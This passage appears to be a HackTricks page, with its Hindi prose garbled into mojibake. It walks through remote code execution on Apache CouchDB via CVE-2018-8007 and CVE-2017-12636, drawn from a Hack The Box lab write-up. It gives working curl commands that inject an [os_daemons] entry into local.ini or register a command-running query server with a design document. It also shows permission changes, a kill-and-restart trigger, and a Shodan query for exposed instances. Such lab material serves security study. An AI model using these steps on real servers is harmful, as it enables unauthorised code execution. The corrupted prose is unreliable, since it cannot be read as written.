рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдЖрдк рдпрд╣рд╛рдВ RCE рдХреЗ рд▓рд┐рдП Erlang рдХреБрдХреАрдЬрд╝ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдкрд░ рд╡рд┐рд╕реНрддреГрдд рдорд╛рд░реНрдЧрджрд░реНрд╢рд┐рдХрд╛ рдХрд╛ рдЕрдиреНрд╡реЗрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
local.ini рдХреЗ рд╕рдВрд╢реЛрдзрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ CVE-2018-8007 рдХрд╛ рд╢реЛрд╖рдг
рдЙрджрд╛рд╣рд░рдг рдпрд╣рд╛рдВ рд╕реЗред
рд╣рд╛рд▓ рд╣реА рдореЗрдВ рдкреНрд░рдХрдЯ рд╣реБрдИ рдПрдХ рднреЗрджреНрдпрддрд╛, CVE-2018-8007, рдЬреЛ Apache CouchDB рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддреА рд╣реИ, рдХрд╛ рдЕрдиреНрд╡реЗрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛, рдЬрд┐рд╕рдореЗрдВ рдпрд╣ рдкрддрд╛ рдЪрд▓рд╛ рдХрд┐ рд╢реЛрд╖рдг рдХреЗ рд▓рд┐рдП local.ini
рдлрд╝рд╛рдЗрд▓ рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐ рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЗ рдХрд╛рд░рдг рдкреНрд░рд╛рд░рдВрднрд┐рдХ рд▓рдХреНрд╖рд┐рдд рдкреНрд░рдгрд╛рд▓реА рдкрд░ рд╕реАрдзреЗ рд▓рд╛рдЧреВ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛, рд▓реЗрдХрд┐рди рдЕрдиреНрд╡реЗрд╖рдг рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП local.ini
рдлрд╝рд╛рдЗрд▓ рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрд╢реЛрдзрди рдХрд┐рдП рдЧрдПред рдиреАрдЪреЗ рд╡рд┐рд╕реНрддреГрдд рдЪрд░рдг рдФрд░ рдХреЛрдб рдЙрджрд╛рд╣рд░рдг рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рд╣реИрдВ, рдЬреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддреЗ рд╣реИрдВред
рдкрд╣рд▓реЗ, рд╡рд╛рддрд╛рд╡рд░рдг рдХреЛ рдЗрд╕ рдмрд╛рдд рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдХреЗ рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ local.ini
рдлрд╝рд╛рдЗрд▓ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рд╣реИ, рдЬрд┐рд╕реЗ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рд╕реВрдЪреА рдмрдирд╛рдХрд░ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
рдЗрд╕ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХ curl рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХреА рдЬрд╛рддреА рд╣реИ, рдЬреЛ local.ini
рдореЗрдВ cors/origins
рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рддреА рд╣реИред рдпрд╣ [os_daemons]
рдЕрдиреБрднрд╛рдЧ рдХреЗ рддрд╣рдд рдЕрддрд┐рд░рд┐рдХреНрдд рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдПрдХ рдирдпрд╛ рдореВрд▓ рдЬреЛрдбрд╝рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдордирдорд╛рдиреЗ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рд╣реИ:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
рдЕрдЧрд▓реА рд╕рддреНрдпрд╛рдкрди local.ini
рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХреА рдЧрдИ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рджрд┐рдЦрд╛рддреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдмреИрдХрдЕрдк рдХреЗ рд╕рд╛рде рддреБрд▓рдирд╛ рдХреА рдЧрдИ рд╣реИ:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
рд╢реБрд░реБрдЖрдд рдореЗрдВ, рдЕрдкреЗрдХреНрд╖рд┐рдд рдлрд╝рд╛рдЗрд▓ (/tmp/0xdf
) рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИ, рдЬреЛ рдпрд╣ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдХрд┐ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдХрдорд╛рдВрдб рдЕрднреА рддрдХ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдирд╣реАрдВ рд╣реБрдЖ рд╣реИред рдЖрдЧреЗ рдХреА рдЬрд╛рдВрдЪ рд╕реЗ рдкрддрд╛ рдЪрд▓рддрд╛ рд╣реИ рдХрд┐ CouchDB рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рдЪрд▓ рд░рд╣реА рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ рдПрдХ рдРрд╕реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рднреА рд╢рд╛рдорд┐рд▓ рд╣реИ рдЬреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдП рдЧрдП рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреА рд╣реИ:
root@canape:/home/homer/bin# ps aux | grep couch
CouchDB рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░рдХреЗ рдФрд░ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЗрд╕реЗ рдкреБрдирдГ рдкреНрд░рд╛рд░рдВрдн рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдХрд░, рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдП рдЧрдП рдХрдорд╛рдВрдб рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди рдЯреНрд░рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдкрд╣рд▓реЗ рдЧрд╛рдпрдм рдлрд╝рд╛рдЗрд▓ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рд╕реЗ рдкреБрд╖реНрдЯрд┐ рдХреА рдЬрд╛рддреА рд╣реИ:
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
рдпрд╣ рдЕрдиреНрд╡реЗрд╖рдг рд╡рд┐рд╢реЗрд╖ рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдХреЗ рддрд╣рдд CVE-2018-8007 рд╢реЛрд╖рдг рдХреА рд╡реНрдпрд╡рд╣рд╛рд░реНрдпрддрд╛ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рддрд╛ рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ local.ini
рдлрд╝рд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдкрд╣реБрдВрдЪ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ред рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рдХреЛрдб рдЙрджрд╛рд╣рд░рдг рдФрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛рддреНрдордХ рдЪрд░рдг рдирд┐рдпрдВрддреНрд░рд┐рдд рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рд╢реЛрд╖рдг рдХреЛ рджреЛрд╣рд░рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реНрдкрд╖реНрдЯ рдорд╛рд░реНрдЧрджрд░реНрд╢рд┐рдХрд╛ рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВред
CVE-2018-8007 рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рд╡рд┐рд╡рд░рдг рдХреЗ рд▓рд┐рдП, mdsec рджреНрд╡рд╛рд░рд╛ рд╕рд▓рд╛рд╣рдХрд╛рд░ рдкрд░ рдЬрд╛рдПрдВ: CVE-2018-8007ред
local.ini рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдХреЗ рд╕рд╛рде CVE-2017-12636 рдХрд╛ рдЕрдиреНрд╡реЗрд╖рдг
рдЙрджрд╛рд╣рд░рдг рдпрд╣рд╛рдВ рд╕реЗред
CVE-2017-12636 рдХреЗ рд░реВрдк рдореЗрдВ рдЬреНрдЮрд╛рдд рдПрдХ рднреЗрджреНрдпрддрд╛ рдХрд╛ рдЕрдиреНрд╡реЗрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛, рдЬреЛ CouchDB рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдЗрд╕рдХреЗ рд╢реЛрд╖рдг рдХреЛ рд░реЛрдХ рд╕рдХрддреЗ рд╣реИрдВред рдСрдирд▓рд╛рдЗрди рдЙрдкрд▓рдмреНрдз рдХрдИ рдкреНрд░рдорд╛рдг-рдХреЛрдг (POC) рд╕рдВрджрд░реНрднреЛрдВ рдХреЗ рдмрд╛рд╡рдЬреВрдж, CouchDB рд╕рдВрд╕реНрдХрд░рдг 2 рдкрд░ рднреЗрджреНрдпрддрд╛ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдорд╛рдпреЛрдЬрди рдЖрд╡рд╢реНрдпрдХ рд╣реИрдВ, рдЬреЛ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рд▓рдХреНрд╖рд┐рдд рд╕рдВрд╕реНрдХрд░рдг 1.x рд╕реЗ рднрд┐рдиреНрди рд╣реИред рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдЪрд░рдгреЛрдВ рдореЗрдВ CouchDB рд╕рдВрд╕реНрдХрд░рдг рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдирд╛ рдФрд░ рдЕрдкреЗрдХреНрд╖рд┐рдд рдХреНрд╡реЗрд░реА рд╕рд░реНрд╡рд░ рдкрде рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ:
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
CouchDB рд╕рдВрд╕реНрдХрд░рдг 2.0 рдХреЗ рд▓рд┐рдП, рдПрдХ рдирдпрд╛ рдкрде рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
рдирдП рдХреНрд╡реЗрд░реА рд╕рд░реНрд╡рд░ рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдФрд░ рдЙрд╕реЗ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХреЗ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЛ рдЕрдиреБрдорддрд┐ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХрд╛ рд╕рд╛рдордирд╛ рдХрд░рдирд╛ рдкрдбрд╝рд╛, рдЬреИрд╕рд╛ рдХрд┐ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЖрдЙрдЯрдкреБрдЯ рджреНрд╡рд╛рд░рд╛ рд╕рдВрдХреЗрддрд┐рдд рд╣реИ:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
рдЕрдзрд┐рдХ рдЬрд╛рдВрдЪ рд╕реЗ рдкрддрд╛ рдЪрд▓рд╛ рдХрд┐ local.ini
рдлрд╝рд╛рдЗрд▓ рдХреЗ рд╕рд╛рде рдЕрдиреБрдорддрд┐ рд╕рдорд╕реНрдпрд╛рдПрдБ рдереАрдВ, рдЬрд┐рд╕реЗ рд▓рд┐рдЦрд╛ рдирд╣реАрдВ рдЬрд╛ рд╕рдХрддрд╛ рдерд╛ред рд░реВрдЯ рдпрд╛ рд╣реЛрдорд░ рдПрдХреНрд╕реЗрд╕ рдХреЗ рд╕рд╛рде рдлрд╝рд╛рдЗрд▓ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдХреЗ, рдЖрдЧреЗ рдмрдврд╝рдирд╛ рд╕рдВрднрд╡ рд╣реЛ рдЧрдпрд╛:
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
рдЕрдЧрд▓реЗ рдкреНрд░рдпрд╛рд╕реЛрдВ рдореЗрдВ рдХреНрд╡реЗрд░реА рд╕рд░реНрд╡рд░ рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдореЗрдВ рд╕рдлрд▓рддрд╛ рдорд┐рд▓реА, рдЬреИрд╕рд╛ рдХрд┐ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢реЛрдВ рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рд╕реЗ рд╕реНрдкрд╖реНрдЯ рд╣реИред local.ini
рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рдлрд▓ рд╕рдВрд╢реЛрдзрди рдХреА рдкреБрд╖реНрдЯрд┐ рдлрд╝рд╛рдЗрд▓ рддреБрд▓рдирд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреА рдЧрдИ:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдПрдХ рдбреЗрдЯрд╛рдмреЗрд╕ рдФрд░ рдПрдХ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдмрдирд╛рдиреЗ рдХреЗ рд╕рд╛рде рдЬрд╛рд░реА рд░рд╣реА, рдЗрд╕рдХреЗ рдмрд╛рдж рдирдП рдЬреЛрдбрд╝реЗ рдЧрдП рдХреНрд╡реЗрд░реА рд╕рд░реНрд╡рд░ рдХреЗ рд▓рд┐рдП рдХрд╕реНрдЯрдо рд╡реНрдпреВ рдореИрдкрд┐рдВрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд┐рдпрд╛ рдЧрдпрд╛:
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
A рд╕рд╛рд░рд╛рдВрд╢ рдЬрд┐рд╕рдореЗрдВ рдПрдХ рд╡реИрдХрд▓реНрдкрд┐рдХ рдкреЗрд▓реЛрдб рд╣реИ, рд╡рд┐рд╢реЗрд╖ рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдХреЗ рддрд╣рдд CVE-2017-12636 рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдФрд░ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╕рдВрд╕рд╛рдзрди рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ:
Shodan
port:5984 couchdb
рд╕рдВрджрд░реНрдн
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.